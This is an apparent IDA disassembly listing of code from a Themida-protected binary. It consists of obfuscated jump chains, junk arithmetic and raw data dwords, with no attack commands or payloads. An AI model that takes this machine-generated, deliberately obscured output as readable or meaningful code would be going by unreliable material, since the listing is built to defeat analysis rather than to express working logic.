		dd 0A6E9240Ch, 54FFFF26h, 0FFF6BFE9h, 4EC81FFh,	89000000h
		dd 0F7E9243Ch, 89FFFFB8h, 4BB241Ch, 1000000h, 5B04245Ch
		dd 0E789575Ah, 4C781h, 0EF830000h, 243C8704h, 242C895Ch
		dd 24C7BA52h, 0EAC12205h, 0B3EA8102h, 898EE1E0h, 24148BD5h
		dd 4C481h, 0F7E90000h, 81FFFF35h, 4C2h,	24148700h, 8124248Bh
		dd 4ECh, 243C8900h, 0C781E789h,	4, 0E904EF83h, 0FFFF7D26h
		dd 24048B66h, 4F8A68h, 241C8900h, 0FF7FA6E9h, 39C281FFh
		dd 81E807F0h, 0BD3CBEC6h, 81D62962h, 0BD3CBEEEh, 0FE015A62h
		dd 0FFF297E9h, 0E08950FFh, 405h, 24D6E900h, 1431FFFFh
		dd 24143324h, 36B0E95Ch, 30ACFFFFh, 18DCE9D8h, 8F5F0000h
		dd 0AEE92404h, 89FFFFDAh, 0B668240Ch, 5400004Dh, 3BD9E9h
		db 0
; ---------------------------------------------------------------------------

loc_56D01D:				; CODE XREF: Themida_:0056E184j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56EFDF
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 1A3F1DFFh, 3C8BE281h, 0E2814EC8h, 1C7B7AF7h,	0BB8AEA81h
		dd 0D029C817h, 0FF1C54E9h, 0B1F581FFh, 815E427Dh, 131AF9CDh
		dd 81DDF75Dh, 4C003F5h,	463FE9A0h, 835EFFFFh, 0F68101EEh
		dd 1EAB7984h, 2C69E9h, 24348B00h, 4C481h, 0DEF70000h, 384AE9h
		dd 86AB500h, 0C8B66E8h,	2C48324h, 709868h, 241C8900h, 0EF806BB7h
		dd 3AB05076h, 0E904EC83h, 0FFFF5AB3h
; ---------------------------------------------------------------------------

loc_56D0A8:				; CODE XREF: Themida_:0056CBDFj
		pop	ebx
		jmp	loc_571270
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 2D000000h, 72C178CAh, 0CA05C801h, 5972C178h,	8102C083h
		dd 4ECh, 24048900h, 42474FFh, 24048F58h, 6624248Bh, 5624048Bh
		dd 42DCE9h, 5FE94A00h, 89FFFFE3h, 4C581E5h, 83000000h
		dd 2C8704EDh, 4895C24h,	240C8B24h, 4C481h, 34FF0000h, 0B215E924h
		dd 0D3F6FFFFh, 30E6B450h, 0C538E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D116:				; CODE XREF: Themida_:00562DC5j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_56F3D2
; ---------------------------------------------------------------------------
		db 68h
		dd 6E78h, 0B9240C89h, 11E473A1h, 4679C181h, 414949A4h
		dd 0E904E9C1h, 0FFFFE184h, 5A614EB9h, 41D9F72Fh, 0FF72F1E9h
		dd 24248BFFh, 50E28952h, 4B8h, 58C20100h, 111F68h, 241C8900h
		dd 726368h, 24148900h, 0F86AE968h, 0FDE95A0Bh, 33000048h
		dd 248B2434h, 243C8724h, 0FF06E8E9h, 24248BFFh,	4B73E9h
		db 0
; ---------------------------------------------------------------------------

loc_56D18D:				; CODE XREF: Themida_:00570F53j
		pop	ebp
		neg	eax
		sub	eax, 0B8EDFFFEh
		and	ebp, eax
		pop	eax
		push	esi
		push	edx
		mov	edx, 7AE02C9Eh
		and	edx, 6C2834E2h
		push	esi
		mov	esi, 1C0521F6h
		xor	edx, esi
		pop	esi
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, esi
		pop	esi
		add	esi, 59947041h
		jmp	loc_567259
; ---------------------------------------------------------------------------
		dd 0B8240489h, 3943DAh,	3E11DA35h, 0DE0DE90Bh, 0E801FFFFh
		dd 1EEAE95Dh, 89570000h, 4C781E7h, 83000000h, 3C8704C7h
		dd 0C4815C24h, 4, 4E95153h, 0BAFFFF69h,	718D63CEh, 6414CA81h
		dd 0DAF76C67h, 259E281h, 0F28157E6h, 203F0075h,	4574F281h
		dd 0D3890113h, 4ABE565Ah, 0E9415505h, 0FFFF248Ch, 4BF57h
		dd 0FD010000h, 4C5815Fh, 87000000h, 248B242Ch, 9121E924h
		dd 77FFFFFFh, 623E940h,	3433FFFFh, 24343124h, 5C243433h
		dd 24040966h, 60FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D25E:				; CODE XREF: Themida_:00567CC5j
		pop	esp
		jmp	loc_5629F5
; ---------------------------------------------------------------------------
		dd 4BDh, 5DE82900h, 5585450h, 4, 8704E883h, 895C2404h
		dd 74FF2404h, 48B0424h,	988DE924h, 0C821FFFFh, 0FC00B59h
		dd 0FF473084h, 4EC81FFh, 0E9000000h, 3ADAh, 2434895Ch
		dd 0FF46E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D2A9:				; CODE XREF: Themida_:005680F4j
		push	ebx
		jmp	loc_570FF7
; ---------------------------------------------------------------------------
		db 54h
		dd 8124148Bh, 4C4h, 4C28100h, 57000000h, 4BFh, 5FFA0100h
		dd 0FF35EAE9h, 241C87FFh, 370C685Ch, 34890000h,	2474FF24h
		dd 48F5E04h, 0F1F65C24h, 0CCB60F66h, 645A6866h,	240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFF0571h, 14199FBBh, 0BCE38160h
		dd 812B673Ch, 0FB20C0CBh, 0ABCB8164h, 81424441h, 0DB77C0CBh
		dd 0F5BF570Ch, 0E948043Bh, 0FFFFF004h, 24048B58h, 4C481h
		dd 1C870000h, 4315C24h,	32E99C24h, 33FFFF05h, 83E92434h
		dd 5FFFF3Fh, 30F3C3Ch, 4D0E68h,	240C8900h, 5C3E62B9h, 0FFC8014Ch
		dd 0E9592434h, 0FFFF4F20h, 80A8B353h, 92E92ACBh, 0BFFFFF5Dh
		dd 7C6B009Ah, 0C244481h, 42F42799h, 0C247C29h, 0C246C81h
		dd 42F42799h, 81243C8Bh, 4C4h, 1C8B5800h, 4A10E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D396:				; CODE XREF: Themida_:00566AD3j
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	1319h
		jmp	loc_55DD85
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFDDAFh
; ---------------------------------------------------------------------------

loc_56D3B0:				; CODE XREF: Themida_:0055FAE4j
		add	esp, 4
		jmp	loc_56786D
; ---------------------------------------------------------------------------
		dd 4C181h, 0EC810000h, 4, 0FF240C89h, 59042474h, 8B24048Fh
		dd 0E1F72424h, 7E2068h,	24348900h, 0C6815E54h, 4, 174C6850h
		dd 505827CFh, 0F7242C87h, 242C87D5h, 7853E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D3FA:				; CODE XREF: Themida_:0055FE36j
		push	edi
		jmp	loc_565040
; ---------------------------------------------------------------------------
		dd 3516C5B8h, 585F5046h, 1795E9h, 0C8B6600h, 0EC835724h
		dd 5C4CE904h, 0BA52FFFFh, 4, 4744E951h,	3C890000h, 4BF24h
		dd 0C5810000h, 59D92505h, 9AE9FD01h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D43B:				; CODE XREF: Themida_:00566EA0j
		mov	ebx, 47E20F4Dh
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		add	ebx, 5347F06h
		jmp	loc_56E139
; ---------------------------------------------------------------------------

loc_56D450:				; CODE XREF: Themida_:0056D974j
		add	esi, ebp
		sub	esi, 1536096Dh
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_5664FF
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0F1BB241Ch, 8725F232h, 9C56E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D476:				; CODE XREF: Themida_:00569742j
		add	esp, 4
		add	esp, 4
		push	0CC0h
		jmp	loc_55DF69
; ---------------------------------------------------------------------------
		dd 4246C81h, 4164765Ah,	5124148Bh, 0C1815954h, 4, 4BA52h
		dd 8CE90000h, 81FFFFAFh, 943C10EEh, 8BF00137h, 0C4812434h
		dd 4, 8704C083h, 248B2404h, 12A7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56D4CA:				; CODE XREF: Themida_:005606A0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	2B9h
		jmp	loc_560DBB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 505B5453h, 4B8h, 86EB8100h, 0E921D60Dh, 0FFFFF50Eh
		dd 582434FFh, 0E7895750h, 4C781h, 0EF830000h, 243C8704h
		dd 48F545Ch, 0C637E924h, 335BFFFFh, 0C31240Ch, 0E5D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D51A:				; CODE XREF: Themida_:005610A9j
		mov	edi, 6ACE6EACh
		mov	edx, 0FB6C05D4h
		add	edx, edi
		pop	edi
		shl	edx, 3
		shl	edx, 6
		sub	edx, 6497C6FDh
		sub	ebx, edx
		pop	edx
		jmp	loc_571F88
; ---------------------------------------------------------------------------

loc_56D53B:				; CODE XREF: Themida_:0056F662j
		mov	al, 6Bh
		sub	al, 83h
		inc	al
		sub	al, 8Ah
		jmp	loc_55EEE9
; ---------------------------------------------------------------------------

loc_56D548:				; CODE XREF: Themida_:00565505j
		push	edx
		mov	edx, 1DD046F5h
		sub	edx, 169C521Bh
		add	edx, 268E04F0h
		shl	edx, 8
		sub	edx, 62B87481h
		add	ecx, edx
		jmp	loc_56ACAA
; ---------------------------------------------------------------------------

loc_56D56A:				; CODE XREF: Themida_:0055F78Ej
		mov	[esp], eax
		jmp	loc_564350
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0BC68240Ch, 89000027h, 0E9542404h, 405Ah, 4247C01h
		dd 4246C81h, 526616E7h,	0C6815E5Fh, 4, 8704EE83h, 248B2434h
		dd 242C8924h, 0BA525D54h, 4, 835AD501h,	2C3302C5h, 242C3124h
		dd 0FF15D6E9h, 0E9EB00FFh, 0FFFF8C8Ch, 0E6895658h, 377EE9h
		db 0
; ---------------------------------------------------------------------------

loc_56D5CD:				; CODE XREF: Themida_:00560042j
		mov	ebp, 291B5F06h
		sub	edx, ebp
		pop	ebp
		add	esi, edx
		pop	edx
		mov	ebp, esi
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		pop	edi
		push	edi
		jmp	loc_5671B2
; ---------------------------------------------------------------------------
		db 0B2h, 0BEh, 0C0h
		dd 0EC8307E2h, 24048904h, 0ECC01CB4h, 0A58AE903h, 0C083FFFFh
		dd 0DB70E904h, 74FFFFFFh, 38E90424h, 68FFFFDEh,	52C3h
		dd 0BA241489h, 106F14A9h, 0FF06F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D631:				; CODE XREF: Themida_:0056FB6Dj
		add	bl, 20h
		jmp	loc_5727D3
; ---------------------------------------------------------------------------
		db 68h,	60h, 1Dh
		dd 14890000h, 0BDC8E924h, 0E689FFFFh, 39E6857h,	0F9E94E43h
		dd 8FFFF0Ch, 3A0CE9E6h,	0D130FFFFh, 0AEE95A66h,	0FFFFFFDBh
		dd 0E9592434h, 0FFFF87A8h, 176CF181h, 0CF314FBDh, 24448159h
		dd 0A37E5404h, 37EE92Eh, 0EDC1FFFFh, 81DDF705h,	0C86C4EF5h
		dd 5DE801FFh, 0FF39E6E9h, 0C7815CFFh, 4, 8B243C87h, 9D682424h
		dd 89000004h, 0BEE92404h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D6AF:				; CODE XREF: Themida_:0056FEA4j
		dec	esi
		add	esi, 1C3C3FCDh
		jmp	loc_5670F2
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF5EB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D6C1:				; CODE XREF: Themida_:0056E373j
		mov	[esp], esi
		jmp	loc_569E86
; ---------------------------------------------------------------------------
		db 88h,	0F0h, 8Bh
		dd 0C4812414h, 4, 5258C388h, 525073B2h,	93E910B6h, 0FFFFFFA0h
		dd 5DE92434h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D6EB:				; CODE XREF: Themida_:0056C000j
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	edi, 55844422h
		add	edi, esi
		add	edi, 55844422h
		mov	esi, [esp]
		jmp	loc_564E5B
; ---------------------------------------------------------------------------
		db 81h
		dd 0B638E1E2h, 0FC28151h, 8142DE3Ch, 7264F4F2h,	5AD50183h
		dd 5C242C87h, 3D87E9h, 0BF575A00h, 35653919h, 29A7BA52h
		dd 0D3293E52h, 0E9FB295Ah, 0FFFF3BF9h, 5404EC83h, 8124048Fh
		dd 42404h, 28E90000h, 66FFFF0Ch, 0D83166ADh, 0DEE95166h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D75B:				; CODE XREF: Themida_:005602AEj
		xchg	ebp, [esp]
		jmp	loc_5603C0
; ---------------------------------------------------------------------------

loc_56D763:				; CODE XREF: Themida_:0056144Ej
		push	esi
		mov	esi, 2CBA7170h
		sub	ebx, 76771A2Dh
		sub	ebx, esi
		jmp	loc_56F34F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 4C481h, 0E9510000h, 0FFFF65AEh, 3462BF57h
		dd 0AFE958B7h, 80FFFF21h, 0F680A0C6h, 0E9CEFED7h, 0FFFF8C18h
		dd 4B85051h, 0E9000000h, 1577h,	8B24048Fh, 0C1382424h
		dd 0B3E99Ch, 1489FFFFh,	5773BA24h, 88E9601Dh, 89000003h
		dd 4C581E5h, 83000000h,	0DDE904C5h
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D7D7:				; CODE XREF: Themida_:0056ED68j
		pop	edx
		or	edx, ebp
		pop	ebp
		add	edx, 14923C5Eh
		jmp	loc_5604EB
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF3485h, 895DEB89h, 241C8BDDh, 5E04C483h,	0C9FC581h
		dd 42E94884h, 0B9FFFF31h, 45D42C60h, 82E9C889h,	89000005h
		dd 0D3E92414h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D817:				; CODE XREF: Themida_:0056B219j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	232Dh
		mov	[esp], edx
		jmp	loc_56B528
; ---------------------------------------------------------------------------
		dd 0B850E789h, 4, 5558C701h, 484499BDh,	0E9D5F777h, 0FFFF7CE1h
; ---------------------------------------------------------------------------

loc_56D844:				; CODE XREF: Themida_:00569149j
		inc	edx
		sub	edx, 124D3EB7h
		push	esi
		mov	esi, 71B026E4h
		xor	esi, 558D39F7h
		xor	edx, esi
		pop	esi
		sub	edx, 2EF1810h
		sub	eax, edx
		pop	edx
		mov	ebx, eax
		jmp	loc_564F0E
; ---------------------------------------------------------------------------

loc_56D86A:				; CODE XREF: Themida_:00561C5Ej
		pop	ebp
		jmp	loc_5716FE
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 0C7E90000h, 81FFFF1Bh, 2466FEC1h
		dd 241C8B60h, 4C481h, 0EC810000h, 4, 81243C89h,	4ECh, 241C8900h
		dd 0FF80FAE9h, 4B9FFh, 0EE810000h, 25004DFCh, 32DFEE81h
		dd 0CE01228Fh, 0FFDB57E9h, 4DEE80FFh, 0FF3E30E9h, 36C781FFh
		dd 0F7305B56h, 0B2F4E9D7h, 555DFFFFh, 2BDh, 17E95500h
		dd 68FFFF5Ch, 79DDh, 0E9241C89h, 0FFFF61ACh
; ---------------------------------------------------------------------------

loc_56D8EC:				; CODE XREF: Themida_:00568386j
		add	edx, esi
		pop	esi
		jmp	loc_571AE2
; ---------------------------------------------------------------------------

loc_56D8F4:				; CODE XREF: Themida_:0056C0A4j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_56965C
; ---------------------------------------------------------------------------

loc_56D908:				; CODE XREF: Themida_:0056A682j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_56E10B
; ---------------------------------------------------------------------------

loc_56D919:				; CODE XREF: Themida_:005679A2j
		add	esp, 4
		xor	ebp, edx
		pop	edx
		add	ebp, 59850163h
		jmp	loc_56A4B9
; ---------------------------------------------------------------------------

loc_56D92A:				; CODE XREF: Themida_:00572800j
		inc	eax
		sub	eax, 514C397Ah
		xor	eax, 89E1874h
		push	edx
		jmp	loc_56913E
; ---------------------------------------------------------------------------
		db 1
		dd 1BEE81D6h, 815E352Bh, 0F22247C6h, 2434FF66h,	5624148Bh
		dd 78E9E689h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D957:				; CODE XREF: Themida_:00563BAAj
		and	ebx, edi
		pop	edi
		jmp	loc_56887A
; ---------------------------------------------------------------------------

loc_56D95F:				; CODE XREF: Themida_:00560110j
		inc	ebx
		add	ebx, 607DFA2h
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 1536096Dh
		jmp	loc_56D450
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 56h
		dd 901C843h, 2434FFFAh,	0E389535Fh, 2C4CBA52h, 0DAF72E05h
		dd 0EA81DAF7h, 2E052C48h, 835AD301h, 59E904C3h,	5300002Fh
		dd 6647BA52h, 0E2813023h, 75C17EC1h, 0FF70E0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D9B5:				; CODE XREF: Themida_:0055E616j
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_56BBA3
; ---------------------------------------------------------------------------

loc_56D9C3:				; CODE XREF: Themida_:0056F226j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 33073D02h
		push	ebp
		mov	ebp, 4FF1174Fh
		xor	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 42555F12h
		jmp	loc_56A7D0
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 51B87472h, 0C381D329h, 51B87472h, 13EB81h, 148B1602h
		dd 4C48324h, 0E95BDF29h, 0FFFF31B9h
; ---------------------------------------------------------------------------

loc_56DA18:				; CODE XREF: Themida_:0055ED91j
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	ebx, 41641A58h
		add	ebx, edi
		add	ebx, 41641A58h
		pop	edi
		xor	ebx, [esp]
		jmp	loc_56F0C0
; ---------------------------------------------------------------------------

loc_56DA38:				; CODE XREF: Themida_:00567EE8j
		shl	edi, 6
		xor	edi, 59AC0A81h
		add	ebp, edi
		pop	edi
		jmp	loc_55EF60
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 6Bh
		dd 2C08E0C0h, 58C688A9h, 885AF488h, 24048BE3h, 4C481h
		dd 0F3800000h, 88526671h, 0FFEE80DEh, 8B66F388h, 89522414h
		dd 4C281E2h, 81000000h,	2C2h, 24148700h, 0FF2B27E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DA89:				; CODE XREF: Themida_:00562175j
		add	bl, ah
		add	bl, 5Ah
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_569F18
; ---------------------------------------------------------------------------
		db 29h,	4Ah, 38h
		dd 4EC8359h, 0E9241C89h, 0FFFF93CCh, 8904EC83h,	0E189240Ch
		dd 495EE9h
		db 0
; ---------------------------------------------------------------------------

loc_56DAB9:				; CODE XREF: Themida_:0056858Fj
		push	edi
		mov	edi, 5D1961E0h
		sub	edi, 15D20A90h
		dec	edi
		neg	edi
		add	edi, 4D128D8Dh
		mov	edx, edi
		pop	edi
		xor	edx, ecx
		jmp	loc_565D5E
; ---------------------------------------------------------------------------

loc_56DAD8:				; CODE XREF: Themida_:00560FC1j
		xchg	ecx, [esp]
		jmp	loc_55F1C3
; ---------------------------------------------------------------------------

loc_56DAE0:				; CODE XREF: Themida_:00565736j
		push	edx
		add	byte ptr [esp],	1
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 57h
		or	ch, 0BBh
		jmp	loc_55DB83
; ---------------------------------------------------------------------------
		dw 0F680h
aQ_0		db 'ыQ╠#',0
		db 0CEh, 59h, 88h
		dd 100EE9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DB06:				; CODE XREF: Themida_:00565933j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 549158AAh
		shr	ecx, 8
		dec	ecx
		inc	ecx
		jmp	loc_55E0E5
; ---------------------------------------------------------------------------
		dd 815FFA01h, 0D3359DC2h, 0C35EE94Fh, 0E953FFFFh, 0FFFF8336h
; ---------------------------------------------------------------------------

loc_56DB38:				; CODE XREF: Themida_:0056E31Cj
		add	esp, 4
		add	esp, 4
		push	bx
		mov	bl, 0BFh
		sub	al, bl
		jmp	loc_565D4C
; ---------------------------------------------------------------------------
		db 81h
		dd 0AF1181F2h, 0D1C5814Ch, 178900Bh, 0D1ED81D5h, 8B78900Bh
		dd 0F9E92414h, 5FFFF84h, 6B7427EDh, 0FF8B5AE9h,	2474FFFFh
		dd 48F5F04h, 24248B24h,	619BEA81h, 895026D1h, 405E0h, 0E8830000h
		dd 6DB4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DB96:				; CODE XREF: Themida_:0055EBE1j
		mov	dx, [esp]
		push	ebp
		push	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 0EA14635h
		add	ebp, 0F15EB9CFh
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	327h
		mov	[esp], ecx
		push	192Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56E290
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8B04C4h, 4C48124h,	57000000h, 42474FFh, 24048F5Fh
		dd 6624248Bh, 9C240CD3h, 0FEFC74E9h, 0C8B66FFh,	12ED6824h
		dd 2C890000h, 2C8B5424h, 4C48124h, 81000000h, 4C5h, 567D6800h
		dd 34890000h, 29ECBE24h, 1E90B05h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DC27:				; CODE XREF: Themida_:0057194Cj
		push	ecx
		mov	ecx, 2D9A6236h
		dec	ecx
		xor	ecx, 7B3F6CF9h
		jmp	loc_5690E5
; ---------------------------------------------------------------------------

loc_56DC39:				; CODE XREF: Themida_:0056BABDj
		mov	[esp], ebx
		mov	ebx, 7F262634h
		jmp	loc_56800A
; ---------------------------------------------------------------------------
		dw 22E9h
		dd 88FFFEFCh, 24148BF1h, 4C481h, 0C8300000h, 240C8B66h
		dd 0C218E953h, 0E289FFFFh, 4C281h, 0EDE90000h, 1FFFF07h
		dd 66BBE9EAh, 1C87FFFFh, 24248B24h, 0FFB34AE9h,	0C6815BFFh
		dd 54232093h, 7F8DEE81h, 3C8B3EC8h, 4C48124h, 87000000h
		dd 248B2434h, 2404D224h, 0FBC7E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56DCA6:				; CODE XREF: Themida_:0056B008j
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55F25D
; ---------------------------------------------------------------------------
		db 55h,	68h, 85h
		dd 0E9580C4Ah, 0FFFF79A9h
; ---------------------------------------------------------------------------

loc_56DCC4:				; CODE XREF: Themida_:00561B59j
		sub	eax, 74D70233h
		jmp	loc_5711EB
; ---------------------------------------------------------------------------
		dw 1C89h
aSfg		db '$И■G',0
		align 2
		dw 0C281h
		dd 2BEC22C9h, 0EA81DA01h, 2BEC22C9h, 256E9h, 14335B00h
		dd 24143124h, 5C241433h, 569DF781h, 5B576D9Fh, 90C1815Fh
		dd 165A551h, 90BB53D9h,	2965A551h, 241C8BD9h, 5B04C483h
		dd 0FFF69FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DD19:				; CODE XREF: Themida_:0056313Cj
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	59CBh
		mov	[esp], ebp
		jmp	loc_55F4D3
; ---------------------------------------------------------------------------

loc_56DD2F:				; CODE XREF: Themida_:0055EE13j
		mov	ebp, edi
		pop	edi
		mov	ebx, 55F3B1B6h
		sub	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_570C83
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18300h, 5C240C87h, 5C241C87h, 0E9240C89h, 25BFh
		dd 176FEB81h, 74E94323h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56DD67:				; CODE XREF: Themida_:00572263j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_560F9A
; ---------------------------------------------------------------------------

loc_56DD72:				; CODE XREF: Themida_:0056A053j
		sub	ecx, 55B2277Dh
		jmp	loc_5650C6
; ---------------------------------------------------------------------------

loc_56DD7D:				; CODE XREF: Themida_:00565BECj
		pop	eax
		push	36E0h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 15E2497Ah
		jmp	loc_560254
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0FDh
		dd 57FFFF7Ah, 5F5800BFh, 5FFD011Eh, 0ED81C501h,	1E5F5800h
		dd 8324048Bh, 5B6804C4h, 89000015h, 5954240Ch, 633EE952h
		dd 5247FFFFh, 0FDB28ABAh, 2431E982h, 74FFFFFFh,	0E9590424h
		dd 0FFFF2611h
; ---------------------------------------------------------------------------

loc_56DDD4:				; CODE XREF: Themida_:0056C682j
		mov	esp, [esp]
		push	4D75h
		jmp	loc_564208
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 241C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5692FC
; ---------------------------------------------------------------------------
		dd 81D7F758h, 887524EFh, 61C7816Dh, 571DA36Ah, 5ABCE95Eh
		dd 6652FFFFh, 666FC668h, 0E2C1665Ah, 0F2816606h, 2966EF18h
		dd 6AE95AD6h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DE1F:				; CODE XREF: Themida_:0055DD8Ej
		mov	ebp, 45BA8640h
		sub	ebp, ecx
		pop	ecx
		mov	eax, 131023A3h
		shr	eax, 2
		xor	eax, 727457CBh
		shl	eax, 8
		jmp	loc_56B151
; ---------------------------------------------------------------------------
		dd 0BBh, 0BA14E900h, 2C33FFFFh,	24248B24h, 0D7885351h
		dd 0E6E9F988h, 1FFFF05h, 7DE958C1h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DE5F:				; CODE XREF: Themida_:0055E42Bj
		mov	ecx, 1BF535ACh
		push	esi
		mov	esi, 31D78D1h
		inc	esi
		sub	esi, 0EBFC6574h
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4DA108D5h
		and	ecx, edx
		jmp	loc_57096A
; ---------------------------------------------------------------------------
		db 5, 80h, 4Ah
		dd 0D0012D98h, 984A802Dh, 4EC812Dh, 89000000h, 0B9240Ch
		dd 1000000h, 663181C1h,	8B34A764h, 0C481240Ch, 4, 386A8158h
		dd 638B7488h, 0F73872FFh, 428F241Ch, 2E746838h,	3C890000h
		dd 0F7B95124h, 0BF029D5Bh, 2BD168C8h, 0FF55E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56DED5:				; CODE XREF: Themida_:00570018j
		mov	edx, 1E4B2F9Fh
		xor	edx, esi
		xor	esi, edx
		jmp	loc_56A4A3
; ---------------------------------------------------------------------------

loc_56DEE3:				; CODE XREF: Themida_:00561789j
		pop	ebx
		sub	al, cl
		push	ecx
		push	ebx
		mov	bh, 0B8h
		xor	bh, 67h
		sub	bh, 0C6h
		push	eax
		jmp	loc_562E28
; ---------------------------------------------------------------------------
		dw 505Fh
		dd 42474FFh, 24048F58h,	0FEFB67E9h, 9FC681FFh, 8180CEEDh
		dd 0A9425EC5h, 81F5016Ah, 0A9425EEDh, 0B7E95E6Ah, 8100002Bh
		dd 4951D2F1h, 0B552E930h, 8952FFFFh, 4C281E2h, 0E9000000h
		dd 0FFFF5CE9h, 0A8E9CC00h, 81FFFF1Dh, 6E4365EAh, 2434FF11h
		dd 3887E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56DF4E:				; CODE XREF: Themida_:005636D5j
		pop	ecx
		jmp	loc_569F08
; ---------------------------------------------------------------------------
		dd 0D7CC681h, 0F101E93Ch, 68535B5Eh, 5DB3h, 81242489h
		dd 42404h, 1C8B0000h, 4EC8124h,	0E9000000h, 0FFFFC66Fh
		dd 2474FF51h, 0C4E95904h, 68FFFFC7h, 0BF7h, 88240489h
		dd 0E38853ECh, 0B951h, 0D1010000h, 8DE91988h, 81FFFF3Ah
		dd 4C1h, 240C3300h, 33240C31h, 248B240Ch, 2434FF24h, 0E92434FFh
		dd 0FFFFDFDDh, 5C3699BEh, 9FEE814Eh, 81175E36h,	0F4D593F6h
		dd 0E9F58916h, 0FFFF951Fh, 0FF241C89h, 0E9042474h, 0FFFFB24Ch
		dd 6EBE5652h, 89395F38h, 0D0215EF2h, 4130E9h, 24048F00h
		dd 4229E95Ch, 57450000h, 726FB4BFh, 5FFD31F0h, 2C8BE901h
		dd 4C48124h, 87000000h,	8D684EF1h, 89000065h, 5956240Ch
		dd 8124348Bh, 4C4h, 10B85000h, 81378348h, 0EA01F4E9h, 1FC18169h
